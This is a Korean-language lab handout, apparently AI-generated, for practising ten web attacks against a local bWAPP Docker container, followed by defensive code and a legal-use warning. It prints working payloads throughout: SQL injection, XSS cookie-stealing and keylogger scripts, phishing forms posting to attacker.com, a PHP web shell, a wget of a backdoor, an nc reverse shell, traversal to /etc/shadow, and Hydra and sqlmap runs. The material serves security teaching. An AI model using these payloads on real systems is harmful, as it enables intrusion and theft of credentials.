Skip to content

Latest commit

ย 

History

History
725 lines (535 loc) ยท 15.4 KB

File metadata and controls

725 lines (535 loc) ยท 15.4 KB

Please continue.

์™„๋ฒฝํ•ฉ๋‹ˆ๋‹ค! ์ด์ œ ์ƒ์„ธํ•œ ์‹ค์Šต ๊ฐ•์˜ ์ž๋ฃŒ๋ฅผ ์ž‘์„ฑํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.


๐Ÿ“š bWAPP ์›น ์ทจ์•ฝ์  ์‹ค์Šต ๊ฐ•์˜ ์ž๋ฃŒ

๋ชฉ์ฐจ

  1. Docker ํ™˜๊ฒฝ ๊ตฌ์ถ•
  2. ์‹ค์Šต ์˜ˆ์ œ 10๊ฐ€์ง€

1. Docker ํ™˜๊ฒฝ ๊ตฌ์ถ•

1.1 ์‚ฌ์ „ ์ค€๋น„์‚ฌํ•ญ

# Docker ์„ค์น˜ ํ™•์ธ
docker --version

# Docker๊ฐ€ ์—†๋‹ค๋ฉด ์„ค์น˜
sudo apt update
sudo apt install docker.io -y

1.2 bWAPP ์ปจํ…Œ์ด๋„ˆ ์„ค์น˜ ๋ฐ ์‹คํ–‰

# 1๋‹จ๊ณ„: Docker ์ด๋ฏธ์ง€ ๋‹ค์šด๋กœ๋“œ
docker pull hackersploit/bwapp-docker

# 2๋‹จ๊ณ„: ์ปจํ…Œ์ด๋„ˆ ์‹คํ–‰ (ํฌํŠธ 80๋ฒˆ ์‚ฌ์šฉ)
docker run -d -p 80:80 hackersploit/bwapp-docker

# 3๋‹จ๊ณ„: ์ปจํ…Œ์ด๋„ˆ ์‹คํ–‰ ํ™•์ธ
docker ps

1.3 bWAPP ์ดˆ๊ธฐ ์„ค์ •

# ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ ‘์†
http://127.0.0.1/install.php
  1. [Install bWAPP] ๋ฒ„ํŠผ ํด๋ฆญ
  2. ์„ฑ๊ณต ๋ฉ”์‹œ์ง€ ํ™•์ธ ํ›„ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋กœ ์ด๋™
  3. ๊ธฐ๋ณธ ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ:
    • Username: bee
    • Password: bug

1.4 ์‹ค์Šต ํ™˜๊ฒฝ ์„ค์ •

๋กœ๊ทธ์ธ ํ›„ ํŽ˜์ด์ง€ ์ƒ๋‹จ์—์„œ:

  • ๋ณด์•ˆ ๋ ˆ๋ฒจ ์„ ํƒ: low / medium / high
  • ์ทจ์•ฝ์  ์„ ํƒ: ๋“œ๋กญ๋‹ค์šด ๋ฉ”๋‰ด์—์„œ ์‹ค์Šตํ•  ์ทจ์•ฝ์  ์„ ํƒ
  • Hack ๋ฒ„ํŠผ ํด๋ฆญ์œผ๋กœ ์‹ค์Šต ํŽ˜์ด์ง€ ์ด๋™

2. ์‹ค์Šต ์˜ˆ์ œ 10๊ฐ€์ง€


๐ŸŽฏ ์˜ˆ์ œ 1: SQL Injection (GET/Search)

๐Ÿ“– ํ•™์Šต ๋ชฉํ‘œ

๊ฒ€์ƒ‰ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•œ SQL Injection ๊ณต๊ฒฉ์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ •๋ณด ํƒˆ์ทจ

๐Ÿ”ง ์‹ค์Šต ๋‹จ๊ณ„

Step 1: ์ทจ์•ฝ์  ๋ฉ”๋‰ด ์„ ํƒ

Choose your bug โ†’ SQL Injection (GET/Search) โ†’ Security Level: Low

Step 2: ์ทจ์•ฝ์  ํƒ์ง€

์ž…๋ ฅ๊ฐ’: iron'
๊ฒฐ๊ณผ: SQL ์—๋Ÿฌ ๋ฐœ์ƒ ํ™•์ธ โ†’ ์ทจ์•ฝ์  ์กด์žฌ ํ™•์ธ

Step 3: ๊ธฐ๋ณธ ๊ณต๊ฒฉ - ๋ชจ๋“  ์˜ํ™” ์ •๋ณด ์กฐํšŒ

ํŽ˜์ด๋กœ๋“œ: ' OR '1'='1
์„ค๋ช…: WHERE ์กฐ๊ฑด์„ ํ•ญ์ƒ ์ฐธ์œผ๋กœ ๋งŒ๋“ค์–ด ๋ชจ๋“  ๋ ˆ์ฝ”๋“œ ์กฐํšŒ

Step 4: UNION ๊ณต๊ฒฉ - ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜ ์ฐพ๊ธฐ

ํŽ˜์ด๋กœ๋“œ 1: ' ORDER BY 1--
ํŽ˜์ด๋กœ๋“œ 2: ' ORDER BY 2--
ํŽ˜์ด๋กœ๋“œ 3: ' ORDER BY 7--
ํŽ˜์ด๋กœ๋“œ 4: ' ORDER BY 8--  (์—๋Ÿฌ ๋ฐœ์ƒ โ†’ 7๊ฐœ ์ปฌ๋Ÿผ ํ™•์ธ)

์„ค๋ช…: ORDER BY ๊ตฌ๋ฌธ์œผ๋กœ ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜ ํ™•์ธ

Step 5: ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ •๋ณด ํƒˆ์ทจ

# ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ฒ„์ „ ํ™•์ธ
ํŽ˜์ด๋กœ๋“œ: ' UNION SELECT 1,2,3,4,5,6,7--

# ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฆ„ ํ™•์ธ
ํŽ˜์ด๋กœ๋“œ: ' UNION SELECT 1,database(),3,4,5,6,7--

# ์‚ฌ์šฉ์ž ์ •๋ณด ํƒˆ์ทจ
ํŽ˜์ด๋กœ๋“œ: ' UNION SELECT 1,login,password,email,5,6,7 FROM users--

# ํ…Œ์ด๋ธ” ๋ชฉ๋ก ํ™•์ธ
ํŽ˜์ด๋กœ๋“œ: ' UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()--

๐Ÿ’ก ์‹ค์Šต ๊ฒฐ๊ณผ

  • ๋ชจ๋“  ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ ์ •๋ณด ํš๋“
  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ตฌ์กฐ ํŒŒ์•…
  • ์ถ”๊ฐ€ ๊ณต๊ฒฉ ๋ฒกํ„ฐ ์‹๋ณ„

๐ŸŽฏ ์˜ˆ์ œ 2: SQL Injection (Login Form)

๐Ÿ“– ํ•™์Šต ๋ชฉํ‘œ

๋กœ๊ทธ์ธ ํผ์„ ํ†ตํ•œ ์ธ์ฆ ์šฐํšŒ

๐Ÿ”ง ์‹ค์Šต ๋‹จ๊ณ„

Step 1: ๋ฉ”๋‰ด ์„ ํƒ

Choose your bug โ†’ SQL Injection (Login Form/Hero)

Step 2: ์ธ์ฆ ์šฐํšŒ ๊ณต๊ฒฉ

๋ฐฉ๋ฒ• 1: ์ฃผ์„์„ ์ด์šฉํ•œ ์šฐํšŒ

Username: admin' OR '1'='1'--
Password: (์•„๋ฌด๊ฑฐ๋‚˜)

์„ค๋ช…: 
์›๋ž˜ ์ฟผ๋ฆฌ: SELECT * FROM users WHERE login='admin' OR '1'='1'--' AND password='...'
์ฃผ์„(--) ์ดํ›„ ๋ฌด์‹œ๋˜์–ด ์ธ์ฆ ์šฐํšŒ

๋ฐฉ๋ฒ• 2: OR ์กฐ๊ฑด ์ด์šฉ

Username: ' OR 1=1--
Password: (์•„๋ฌด๊ฑฐ๋‚˜)

๋ฐฉ๋ฒ• 3: UNION ๊ณต๊ฒฉ

Username: admin' UNION SELECT 1,1,1,1--
Password: (์•„๋ฌด๊ฑฐ๋‚˜)

๐Ÿ’ก ์‹ค์Šต ๊ฒฐ๊ณผ

๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ๊ด€๋ฆฌ์ž ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ ์„ฑ๊ณต


๐ŸŽฏ ์˜ˆ์ œ 3: XSS - Reflected (GET)

๐Ÿ“– ํ•™์Šต ๋ชฉํ‘œ

๋ฐ˜์‚ฌํ˜• XSS๋ฅผ ํ†ตํ•œ ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด๋“œ ๊ณต๊ฒฉ

๐Ÿ”ง ์‹ค์Šต ๋‹จ๊ณ„

Step 1: ๋ฉ”๋‰ด ์„ ํƒ

Choose your bug โ†’ Cross-Site Scripting - Reflected (GET)

Step 2: ๊ธฐ๋ณธ XSS ๊ณต๊ฒฉ

Level: Low

// ํŽ˜์ด๋กœ๋“œ 1: ๊ธฐ๋ณธ ์•Œ๋ฆผ์ฐฝ
<script>alert('XSS')</script>

// ํŽ˜์ด๋กœ๋“œ 2: ์ฟ ํ‚ค ํƒˆ์ทจ
<script>alert(document.cookie)</script>

// ํŽ˜์ด๋กœ๋“œ 3: ์ฟ ํ‚ค ์™ธ๋ถ€ ์ „์†ก
<script>
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

// ํŽ˜์ด๋กœ๋“œ 4: ํŽ˜์ด์ง€ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ
<script>window.location='http://malicious-site.com'</script>

Level: Medium (script ํƒœ๊ทธ ํ•„ํ„ฐ๋ง ์šฐํšŒ)

<!-- SVG ํƒœ๊ทธ ์ด์šฉ -->
<svg onload=alert(document.cookie)>

<!-- IMG ํƒœ๊ทธ ์ด์šฉ -->
<img src=x onerror=alert(document.cookie)>

<!-- BODY ํƒœ๊ทธ ์ด์šฉ -->
<body onload=alert('XSS')>

<!-- Iframe ์ด์šฉ -->
<iframe src="javascript:alert('XSS')">

Step 3: ๊ณ ๊ธ‰ ํŽ˜์ด๋กœ๋“œ

// ํ‚ค๋กœ๊ฑฐ ์‚ฝ์ž…
<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.com/log.php?key=' + e.key, true);
    xhr.send();
}
</script>

// ์„ธ์…˜ ํ•˜์ด์žฌํ‚น
<script>
fetch('http://attacker.com/steal.php', {
    method: 'POST',
    body: JSON.stringify({cookie: document.cookie})
});
</script>

๐Ÿ’ก ์‹ค์Šต ๊ฒฐ๊ณผ

  • ์‚ฌ์šฉ์ž ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ž„์˜ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰
  • ์ฟ ํ‚ค ๋ฐ ์„ธ์…˜ ์ •๋ณด ํƒˆ์ทจ ๊ฐ€๋Šฅ์„ฑ ํ™•์ธ

๐ŸŽฏ ์˜ˆ์ œ 4: XSS - Stored (Blog)

๐Ÿ“– ํ•™์Šต ๋ชฉํ‘œ

์ €์žฅํ˜• XSS๋ฅผ ํ†ตํ•œ ์ง€์†์ ์ธ ๊ณต๊ฒฉ

๐Ÿ”ง ์‹ค์Šต ๋‹จ๊ณ„

Step 1: ๋ฉ”๋‰ด ์„ ํƒ

Choose your bug โ†’ Cross-Site Scripting - Stored (Blog)

Step 2: ์ €์žฅํ˜• XSS ๊ณต๊ฒฉ

Level: Low

// ๋Œ“๊ธ€ ์ž…๋ ฅ๋ž€์— ์‚ฝ์ž…
<script>alert(document.cookie)</script>

// ์ด๋ฏธ์ง€ ํƒœ๊ทธ ์ด์šฉ
<img src=x onerror=alert('Stored XSS')>

// ์ง€์†์ ์ธ ์ฟ ํ‚ค ์ „์†ก
<script>
setInterval(function(){
    new Image().src = 'http://attacker.com/log.php?c=' + document.cookie;
}, 5000);
</script>

Level: Medium

<!-- SVG ์ด์šฉ -->
<svg onload=alert(document.cookie)>

<!-- Marquee ํƒœ๊ทธ ์ด์šฉ -->
<marquee onclick=alert(document.cookie)>Click me!</marquee>

<!-- Details ํƒœ๊ทธ ์ด์šฉ -->
<details open ontoggle=alert('XSS')>

Step 3: ์•…์„ฑ ํ–‰๋™ ์œ ๋„

// ํ”ผ์‹ฑ ํผ ์‚ฝ์ž…
<div id="fake-login">
<h3>Session Expired - Please Login Again</h3>
<form action="http://attacker.com/phish.php" method="POST">
    Username: <input name="user"><br>
    Password: <input name="pass" type="password"><br>
    <input type="submit" value="Login">
</form>
</div>

๐Ÿ’ก ์‹ค์Šต ๊ฒฐ๊ณผ

  • ๋ชจ๋“  ๋ฐฉ๋ฌธ์ž์—๊ฒŒ ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ๊ณต๊ฒฉ ๊ตฌํ˜„
  • ์ง€์†์ ์ธ ์ •๋ณด ํƒˆ์ทจ ๊ฐ€๋Šฅ

๐ŸŽฏ ์˜ˆ์ œ 5: HTML Injection - Reflected (GET)

๐Ÿ“– ํ•™์Šต ๋ชฉํ‘œ

HTML ํƒœ๊ทธ ์‚ฝ์ž…์„ ํ†ตํ•œ ํŽ˜์ด์ง€ ์กฐ์ž‘

๐Ÿ”ง ์‹ค์Šต ๋‹จ๊ณ„

Step 1: ๋ฉ”๋‰ด ์„ ํƒ

Choose your bug โ†’ HTML Injection - Reflected (GET)

Step 2: HTML ์‚ฝ์ž… ๊ณต๊ฒฉ

๊ธฐ๋ณธ HTML ์‚ฝ์ž…

<!-- ์ œ๋ชฉ ๋ณ€๊ฒฝ -->
<h1 style="color:red;">HACKED!</h1>

<!-- ๊ฐ€์งœ ๊ฒฝ๊ณ  ๋ฉ”์‹œ์ง€ -->
<div style="background:red;color:white;padding:20px;">
    <h2>โš ๏ธ SECURITY ALERT!</h2>
    <p>Your account has been compromised!</p>
</div>

<!-- ์ด๋ฏธ์ง€ ์‚ฝ์ž… -->
<img src="http://malicious-site.com/fake-logo.png" width="500">

<!-- ์ „์ฒด ํŽ˜์ด์ง€ ๋ฎ์–ด์“ฐ๊ธฐ -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
    <h1>Site Under Maintenance</h1>
</div>

ํ”ผ์‹ฑ ํผ ์‚ฝ์ž…

<form action="http://attacker.com/steal.php" method="POST">
    <h3>Update Your Password</h3>
    Old Password: <input type="password" name="old"><br>
    New Password: <input type="password" name="new"><br>
    <input type="submit" value="Update">
</form>

๐Ÿ’ก ์‹ค์Šต ๊ฒฐ๊ณผ

์‚ฌ์šฉ์ž์—๊ฒŒ ๊ฐ€์งœ ์ฝ˜ํ…์ธ  ํ‘œ์‹œํ•˜์—ฌ ์ •๋ณด ํƒˆ์ทจ


๐ŸŽฏ ์˜ˆ์ œ 6: Directory Traversal

๐Ÿ“– ํ•™์Šต ๋ชฉํ‘œ

ํŒŒ์ผ ๊ฒฝ๋กœ ์กฐ์ž‘์„ ํ†ตํ•œ ์‹œ์Šคํ…œ ํŒŒ์ผ ์ ‘๊ทผ

๐Ÿ”ง ์‹ค์Šต ๋‹จ๊ณ„

Step 1: ๋ฉ”๋‰ด ์„ ํƒ

Choose your bug โ†’ Directory Traversal - Directories

Step 2: ๊ฒฝ๋กœ ํƒ์ƒ‰ ๊ณต๊ฒฉ

๊ธฐ๋ณธ ๊ณต๊ฒฉ

# Linux ์‹œ์Šคํ…œ ํŒŒ์ผ ์ ‘๊ทผ
../../../../../etc/passwd
../../../../../etc/hosts
../../../../../etc/shadow

# ๋‹ค์–‘ํ•œ ์ธ์ฝ”๋”ฉ ์‹œ๋„
..%2F..%2F..%2F..%2Fetc%2Fpasswd
....//....//....//etc/passwd
..\/..\/..\/..\/etc/passwd

Windows ๋Œ€์ƒ ๊ณต๊ฒฉ

..\..\..\..\..\windows\system32\drivers\etc\hosts
..\..\..\..\..\boot.ini
..\..\..\..\..\windows\win.ini

NULL Byte ์šฐํšŒ

../../../../../etc/passwd%00
../../../../../etc/passwd%00.jpg

๐Ÿ’ก ์‹ค์Šต ๊ฒฐ๊ณผ

  • ์‹œ์Šคํ…œ ํŒŒ์ผ ๋‚ด์šฉ ํ™•์ธ
  • ๋ฏผ๊ฐํ•œ ์ •๋ณด ๋…ธ์ถœ

๐ŸŽฏ ์˜ˆ์ œ 7: OS Command Injection

๐Ÿ“– ํ•™์Šต ๋ชฉํ‘œ

์šด์˜์ฒด์ œ ๋ช…๋ น์–ด ์‹คํ–‰์„ ํ†ตํ•œ ์„œ๋ฒ„ ์ œ์–ด

๐Ÿ”ง ์‹ค์Šต ๋‹จ๊ณ„

Step 1: ๋ฉ”๋‰ด ์„ ํƒ

Choose your bug โ†’ OS Command Injection

Step 2: ๋ช…๋ น์–ด ์‚ฝ์ž… ๊ณต๊ฒฉ

๊ธฐ๋ณธ ๋ช…๋ น์–ด ์‹คํ–‰

# ์„ธ๋ฏธ์ฝœ๋ก ์œผ๋กœ ๋ช…๋ น์–ด ์ฒด์ด๋‹
127.0.0.1; ls -la

# AND ์—ฐ์‚ฐ์ž ์‚ฌ์šฉ
127.0.0.1 && whoami

# OR ์—ฐ์‚ฐ์ž ์‚ฌ์šฉ
127.0.0.1 || cat /etc/passwd

# ํŒŒ์ดํ”„ ์‚ฌ์šฉ
127.0.0.1 | id

์ •๋ณด ์ˆ˜์ง‘ ๋ช…๋ น์–ด

# ์‹œ์Šคํ…œ ์ •๋ณด
; uname -a

# ์‚ฌ์šฉ์ž ์ •๋ณด
; cat /etc/passwd

# ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ
; pwd

# ๋„คํŠธ์›Œํฌ ์ •๋ณด
; ifconfig

# ํ”„๋กœ์„ธ์Šค ํ™•์ธ
; ps aux

์•…์„ฑ ํ–‰์œ„

# ํŒŒ์ผ ์ƒ์„ฑ
; echo "<?php system($_GET['cmd']); ?>" > /var/www/html/shell.php

# ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ
; wget http://attacker.com/backdoor.sh -O /tmp/backdoor.sh

# ๋ฆฌ๋ฒ„์Šค ์‰˜
; nc attacker.com 4444 -e /bin/bash

๐Ÿ’ก ์‹ค์Šต ๊ฒฐ๊ณผ

์„œ๋ฒ„์—์„œ ์ž„์˜์˜ ์‹œ์Šคํ…œ ๋ช…๋ น์–ด ์‹คํ–‰ ๊ฐ€๋Šฅ


๐ŸŽฏ ์˜ˆ์ œ 8: CSRF (Change Password)

๐Ÿ“– ํ•™์Šต ๋ชฉํ‘œ

์‚ฌ์šฉ์ž ๋ชจ๋ฅด๊ฒŒ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ์š”์ฒญ ์‹คํ–‰

๐Ÿ”ง ์‹ค์Šต ๋‹จ๊ณ„

Step 1: ๋ฉ”๋‰ด ์„ ํƒ

Choose your bug โ†’ Cross-Site Request Forgery (Change Password)

Step 2: ์ •์ƒ ์š”์ฒญ ๋ถ„์„

Burp Suite๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ์š”์ฒญ ์บก์ฒ˜:

POST /bWAPP/csrf_1.php HTTP/1.1
password_new=test123&password_conf=test123&action=change

Step 3: CSRF ๊ณต๊ฒฉ ํŽ˜์ด์ง€ ์ž‘์„ฑ

๋ฐฉ๋ฒ• 1: ์ž๋™ ์ „์†ก ํผ

<!-- csrf_attack.html -->
<html>
<body onload="document.getElementById('csrf').submit()">
<form id="csrf" action="http://localhost/bWAPP/csrf_1.php" method="POST">
    <input type="hidden" name="password_new" value="hacked123">
    <input type="hidden" name="password_conf" value="hacked123">
    <input type="hidden" name="action" value="change">
</form>
</body>
</html>

๋ฐฉ๋ฒ• 2: ์ด๋ฏธ์ง€ ํƒœ๊ทธ ์ด์šฉ (GET ๋ฐฉ์‹)

<img src="http://localhost/bWAPP/csrf_1.php?password_new=hacked&password_conf=hacked&action=change">

๋ฐฉ๋ฒ• 3: JavaScript ์ž๋™ ์‹คํ–‰

<script>
fetch('http://localhost/bWAPP/csrf_1.php', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'password_new=hacked123&password_conf=hacked123&action=change',
    credentials: 'include'
});
</script>

๐Ÿ’ก ์‹ค์Šต ๊ฒฐ๊ณผ

์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๋ฉด ์ž๋™์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ


๐ŸŽฏ ์˜ˆ์ œ 9: Insecure Direct Object Reference (IDOR)

๐Ÿ“– ํ•™์Šต ๋ชฉํ‘œ

๊ฐ์ฒด ์ฐธ์กฐ ๊ฐ’ ์กฐ์ž‘์œผ๋กœ ํƒ€์ธ์˜ ์ •๋ณด ์ ‘๊ทผ

๐Ÿ”ง ์‹ค์Šต ๋‹จ๊ณ„

Step 1: ๋ฉ”๋‰ด ์„ ํƒ

Choose your bug โ†’ Insecure DOR (Change Secret)

Step 2: ์ •์ƒ ์š”์ฒญ ํ™•์ธ

์ •์ƒ URL:
http://localhost/bWAPP/insecure_direct_object_ref_1.php?login=bee

Step 3: IDOR ๊ณต๊ฒฉ

์‚ฌ์šฉ์ž ํŒŒ๋ผ๋ฏธํ„ฐ ๋ณ€์กฐ

# ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž ์ •๋ณด ์กฐํšŒ
http://localhost/bWAPP/insecure_direct_object_ref_1.php?login=admin
http://localhost/bWAPP/insecure_direct_object_ref_1.php?login=A.I.M.
http://localhost/bWAPP/insecure_direct_object_ref_1.php?login=pablo

# Burp Suite Intruder๋กœ ์ž๋™ํ™”
bee โ†’ admin, user1, user2, test, administrator...

POST ์š”์ฒญ ๋ณ€์กฐ

POST /bWAPP/insecure_direct_object_ref_2.php HTTP/1.1

login=admin&secret=NewSecret&action=change

๐Ÿ’ก ์‹ค์Šต ๊ฒฐ๊ณผ

๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋‚˜ ๋ฏผ๊ฐ ์ •๋ณด ๋ณ€๊ฒฝ ๊ฐ€๋Šฅ


๐ŸŽฏ ์˜ˆ์ œ 10: Session Management (Broken Auth)

๐Ÿ“– ํ•™์Šต ๋ชฉํ‘œ

์ทจ์•ฝํ•œ ์„ธ์…˜ ๊ด€๋ฆฌ๋ฅผ ํ†ตํ•œ ๊ณ„์ • ํƒˆ์ทจ

๐Ÿ”ง ์‹ค์Šต ๋‹จ๊ณ„

Step 1: ๋ฉ”๋‰ด ์„ ํƒ

Choose your bug โ†’ Broken Auth. - Weak Login

Step 2: ์•ฝํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ณต๊ฒฉ

์ผ๋ฐ˜์ ์ธ ๋น„๋ฐ€๋ฒˆํ˜ธ ์‹œ๋„

Username: admin
Passwords:
- password
- admin
- 123456
- admin123
- password123
- letmein
- welcome
- monkey
- 1234

Step 3: Hydra๋ฅผ ์ด์šฉํ•œ ์ž๋™ํ™” ๊ณต๊ฒฉ

# ์‚ฌ์šฉ์ž ๋ฆฌ์ŠคํŠธ ์ƒ์„ฑ
echo -e "admin\nbee\nuser\ntest" > users.txt

# ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ฆฌ์ŠคํŠธ ์ƒ์„ฑ
echo -e "password\nadmin\n123456\nbug" > passwords.txt

# Hydra ์‹คํ–‰
hydra -L users.txt -P passwords.txt localhost http-post-form "/bWAPP/login.php:login=^USER^&password=^PASS^:Invalid credentials"

Step 4: ์„ธ์…˜ ๊ณ ์ • ๊ณต๊ฒฉ

// ๊ณต๊ฒฉ์ž๊ฐ€ ์ƒ์„ฑํ•œ ์„ธ์…˜ ID๋ฅผ ํ”ผํ•ด์ž์—๊ฒŒ ์ „๋‹ฌ
http://localhost/bWAPP/login.php?PHPSESSID=attacker_session_id

// ํ”ผํ•ด์ž๊ฐ€ ๋กœ๊ทธ์ธํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋„ ๋™์ผ ์„ธ์…˜์œผ๋กœ ์ ‘๊ทผ ๊ฐ€๋Šฅ

๐Ÿ’ก ์‹ค์Šต ๊ฒฐ๊ณผ

  • ์ทจ์•ฝํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๊ณ„์ • ํƒˆ์ทจ
  • ์„ธ์…˜ ๊ด€๋ฆฌ ์ทจ์•ฝ์  ์ดํ•ด

๐Ÿ“Š ์‹ค์Šต ๋„๊ตฌ ์ถ”์ฒœ

Burp Suite ์„ค์ •

# Kali Linux์— ๊ธฐ๋ณธ ์„ค์น˜
burpsuite

# ํ”„๋ก์‹œ ์„ค์ •: 127.0.0.1:8080
# ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ”„๋ก์‹œ ์„ค์ • ํ›„ HTTP ์š”์ฒญ ์บก์ฒ˜

OWASP ZAP ์‚ฌ์šฉ

# ZAP ์‹คํ–‰
zaproxy

# Automated Scan์œผ๋กœ ์ž๋™ ์ทจ์•ฝ์  ์Šค์บ”

SQLMap ์ž๋™ํ™”

# GET ํŒŒ๋ผ๋ฏธํ„ฐ ํ…Œ์ŠคํŠธ
sqlmap -u "http://localhost/bWAPP/sqli_1.php?title=test&action=search" --dbs

# POST ํŒŒ๋ผ๋ฏธํ„ฐ ํ…Œ์ŠคํŠธ
sqlmap -u "http://localhost/bWAPP/sqli_6.php" --data="title=test" --dump

# ์ฟ ํ‚ค ํฌํ•จ
sqlmap -u "http://localhost/bWAPP/sqli_1.php" --cookie="PHPSESSID=xxx;security_level=0"

๐Ÿ›ก๏ธ ๋ฐฉ์–ด ๊ธฐ๋ฒ•

SQL Injection ๋ฐฉ์–ด

// Prepared Statement ์‚ฌ์šฉ
$stmt = $pdo->prepare("SELECT * FROM users WHERE login = :login");
$stmt->execute(['login' => $login]);

XSS ๋ฐฉ์–ด

// HTML ์ธ์ฝ”๋”ฉ
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// Content Security Policy ํ—ค๋”
header("Content-Security-Policy: default-src 'self'");

CSRF ๋ฐฉ์–ด

// CSRF ํ† ํฐ ์ƒ์„ฑ
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// ์š”์ฒญ ์‹œ ํ† ํฐ ๊ฒ€์ฆ
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF token validation failed');
}

๐Ÿ“ ์‹ค์Šต ์ฒดํฌ๋ฆฌ์ŠคํŠธ

๊ฐ ์˜ˆ์ œ๋ฅผ ์™„๋ฃŒํ•˜๋ฉด ์ฒดํฌํ•˜์„ธ์š”:

  • ์˜ˆ์ œ 1: SQL Injection (GET/Search)
  • ์˜ˆ์ œ 2: SQL Injection (Login Form)
  • ์˜ˆ์ œ 3: XSS - Reflected (GET)
  • ์˜ˆ์ œ 4: XSS - Stored (Blog)
  • ์˜ˆ์ œ 5: HTML Injection
  • ์˜ˆ์ œ 6: Directory Traversal
  • ์˜ˆ์ œ 7: OS Command Injection
  • ์˜ˆ์ œ 8: CSRF
  • ์˜ˆ์ œ 9: IDOR
  • ์˜ˆ์ œ 10: Session Management

๐Ÿ”— ์ถ”๊ฐ€ ํ•™์Šต ๋ฆฌ์†Œ์Šค


โš ๏ธ ์ฃผ์˜์‚ฌํ•ญ

  1. ํ•ฉ๋ฒ•์  ํ™˜๊ฒฝ์—์„œ๋งŒ ์‹ค์Šต: ๋ณธ์ธ ์†Œ์œ ์˜ ์‹œ์Šคํ…œ์ด๋‚˜ ํ—ˆ๊ฐ€๋ฐ›์€ ํ™˜๊ฒฝ์—์„œ๋งŒ ํ…Œ์ŠคํŠธ
  2. ๊ฒฉ๋ฆฌ๋œ ํ™˜๊ฒฝ ์‚ฌ์šฉ: Docker ์ปจํ…Œ์ด๋„ˆ๋‚˜ VM์œผ๋กœ ๊ฒฉ๋ฆฌ๋œ ํ™˜๊ฒฝ ๊ตฌ์ถ•
  3. ์™ธ๋ถ€ ๋…ธ์ถœ ๊ธˆ์ง€: ์ทจ์•ฝํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ธํ„ฐ๋„ท์— ๋…ธ์ถœํ•˜์ง€ ์•Š๊ธฐ
  4. ์‹ค์Šต ํ›„ ์ •๋ฆฌ: ์ปจํ…Œ์ด๋„ˆ ์ข…๋ฃŒ ๋ฐ ์‚ญ์ œ
# ์ปจํ…Œ์ด๋„ˆ ์ข…๋ฃŒ
docker stop $(docker ps -q --filter ancestor=hackersploit/bwapp-docker)

# ์ปจํ…Œ์ด๋„ˆ ์‚ญ์ œ
docker rm $(docker ps -aq --filter ancestor=hackersploit/bwapp-docker)

์ด ๊ฐ•์˜ ์ž๋ฃŒ๋กœ ์‹ค์ „ ์›น ๋ณด์•ˆ ์‹ค๋ ฅ์„ ํ‚ค์›Œ๋ณด์„ธ์š”! ๐Ÿš€